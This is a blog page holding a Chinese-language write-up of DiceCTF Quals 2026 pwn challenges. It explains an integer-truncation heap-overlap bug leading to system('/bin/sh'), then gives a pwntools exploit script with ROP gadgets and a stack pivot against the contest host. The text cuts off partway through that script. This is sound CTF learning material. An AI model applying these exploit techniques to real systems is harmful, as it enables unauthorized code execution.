<!DOCTYPE html>
<html id="_top" lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><meta name="color-scheme" content="light dark"/><meta name="language" content="zh-CN"/><title>DiceCTF Quals 2026 Writeup | 花盆</title><meta name="author" content="LittFlower"/><meta name="description" content="DiceCTF Quals 2026 Pwn 题解"/><meta property="og:type" content="article"/><meta property="og:title" content="DiceCTF Quals 2026 Writeup | 花盆"/><meta property="og:url" content="https://blog.littflower.top/writeups/dicectf2026-writeup/README.mdx"/><meta property="og:description" content="DiceCTF Quals 2026 Pwn 题解"/><meta property="og:site_name" content="花盆"/><meta property="og:locale" content="zh-CN"/><meta name="twitter:card" content="summary"/><meta name="twitter:title" content="DiceCTF Quals 2026 Writeup | 花盆"/><meta name="twitter:description" content="DiceCTF Quals 2026 Pwn 题解"/><link rel="canonical" href="https://blog.littflower.top/writeups/dicectf2026-writeup/README.mdx"/><link rel="alternate" type="application/rss+xml" title="花盆" href="/rss.xml"/><script>(function () {
    var storageKey = "theme";
    var root = document.documentElement;
    var theme = "light";
    try {
      var stored = window.localStorage.getItem(storageKey);
      if (stored === "light" || stored === "dark") {
        theme = stored;
      } else if (
        typeof window.matchMedia === "function" &&
        window.matchMedia("(prefers-color-scheme: dark)").matches
      ) {
        theme = "dark";
      }
    } catch (_) {}
    root.setAttribute("data-theme", theme);
  })();</script><script defer src="/theme.js?v=d3b88eea84"></script><link rel="preload" as="style" href="/style.css" type="text/css"/><link rel="preload" as="style" href="/fonts.css" type="text/css"/><link rel="stylesheet" href="/style.css" type="text/css"/><link rel="stylesheet" href="/fonts.css" type="text/css"/></head><body><nav aria-label="页面导航" class="top-bar fullwidth"><div class="top-bar-inner fullwidth"><div class="top-bar-group"><a href="/" aria-label="root" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>/</span></a><a href=".." aria-label="parent" class="file-link"><img src="/icons/dir.png" alt width="20" height="22" aria-hidden="true" decoding="async" loading="eager" class="icon icon--dir"/><span>..</span></a></div><div class="top-bar-group"><a href="#_content" class="top-bar-link"><code class="hash inline-code">#</code>内容</a><a href="#_top" class="top-bar-link"><code class="hash inline-code">#</code>回到顶部</a><button type="button" data-theme-toggle="true" aria-pressed="false" title="切换为深色主题" class="theme-toggle"><code aria-hidden="true" class="hash inline-code">#</code>  <span data-theme-toggle-label="true" class="theme-toggle-label">浅色主题</span></button></div></div></nav><div class="page-shell"><nav aria-label="当前目录文件" class="page-files"></nav><main class="page-main page-main--toc"><article id="_content" style="scroll-margin-top:48px;" class="page-article"><h1 id="dicectf-quals-2026-pwn-题解" class="scroll-target"><a href="#dicectf-quals-2026-pwn-%E9%A2%98%E8%A7%A3"><code class="hash inline-code">#</code>DiceCTF Quals 2026 Pwn 题解</a></h1>
<h2 id="garden" class="scroll-target"><a href="#garden"><code class="hash inline-code">#</code>garden</a></h2>
<p>核心 bug 在 <code class="inline-code">alloc_off_heap()</code>：</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ref_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> arr_ref </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">ref_t</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">heap_used;</span><br></code></pre></div>
<p><code class="inline-code">heap_used</code> 是 <code class="inline-code">size_t</code>，<code class="inline-code">arr_ref</code> 是 <code class="inline-code">uint32_t</code>。只要申请一个足够大的 off-heap object，让 <code class="inline-code">heap_used</code> 超过 <code class="inline-code">0xffffffff</code>，返回值就会截断回低 32 位。这样新对象的逻辑位置会“绕回去”，落到旧对象可控的区域里，形成重叠。</p>
<p>题目里 off-heap 对象的头部布局是：</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-c language-c"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">typedef</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> struct</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">{</span><br><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">    arr_header_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> header;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    uint32_t</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">data;</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    size_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> obj_size;</span><br><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">}</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">off_heap_obj_t</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span><br></code></pre></div>
<p>重叠后如果这个头部落进 numeric array <code class="inline-code">A</code>，那么：</p>
<ul>
<li><code class="inline-code">A[3]</code> 是 <code class="inline-code">header</code></li>
<li><code class="inline-code">A[5], A[6]</code> 是 <code class="inline-code">data</code></li>
<li><code class="inline-code">A[7], A[8]</code> 是 <code class="inline-code">obj_size</code></li>
</ul>
<p>所以可以直接通过改 <code class="inline-code">A</code> 来伪造 <code class="inline-code">O2.data</code> 和 <code class="inline-code">O2.obj_size</code>。</p>
<p>很容易做堆块重叠 泄漏 libc environ 然后 <code class="inline-code">system(&quot;/bin/sh\x00&quot;)</code>。</p>
<h2 id="message-store" class="scroll-target"><a href="#message-store"><code class="hash inline-code">#</code>message-store</a></h2>
<p>任意地址执行，注意程序对 buffer 做了 <code class="inline-code">from_utf8_lossy</code>，如果有不合法字符会导致 rax 不是 bss 上的 buffer 地址，否则可以直接 <code class="inline-code">xchg rax, rsp; ret</code> 栈迁移打完。</p>
<div class="code-snippet"><pre class="code-snippet__pre"><code class="language-py language-py"><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pwn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> subprocess</span><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">from</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> sys </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">import</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "./challenge"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.log_level </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "debug"</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">context.binary </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> proc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">elf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> ELF</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">checksec</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">False</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">is_remote </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> len</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> and</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> argv</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> 'r'</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">io </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> remote</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"message-store.chals.dicec.tf"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1337</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> is_remote </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> process</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">proc</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> solve_pow</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.recvuntil</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"proof of work:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">\n</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    cmd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> io.recvline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.decode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.strip</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.recvuntil</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"solution: "</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    log.info</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">f</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"solving pow: </span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">{</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cmd</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">}</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    solution </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> subprocess.check_output</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">cmd, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">shell</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">True</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">timeout</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">240</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.strip</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendline</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">solution</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">idx</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> set_message</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">content</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"New Message? "</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, content</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">def</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> set_color</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">offset</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    choose</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    io.sendlineafter</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">">"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">str</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">offset</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.encode</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">(</span><span style="--shiki-light:#055d20;--shiki-dark:#4ae168">)</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 0x00000000002b17dc : mov rdx, rsi ; ret</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">000000000024349d</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rsi_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000243431</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">syscall </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">00000000002a6602</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">mov_rdx_rsi </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2b17dc</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2F9E38</span><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pivot </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">242d78</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">       # xchg rsp, rax ; ret</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">read_wrap </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2a3450</span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">   # full std::sys::stdio::unix::read prologue</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rax_ret </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0000000000249be7</span><br><br><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> is_remote:</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    solve_pow</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> bytearray</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"A"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">read_wrap</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">48</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">50</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pivot</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> bytes</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage1.decode</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"utf-8"</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><br><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2 </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> bytearray</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">b</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"Z"</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">70</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">8</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">4242424242424242</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 恢复给 rbp 的占位</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">08</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">pop_rdi_ret</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">10</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">]</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p64</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">(</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">buf </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> 0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">68</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">)</span><br><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">stage2</span><span style="--shiki-light:#0349b4;--shiki-dark:#91cbff">[</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">0x</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">18</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span><span 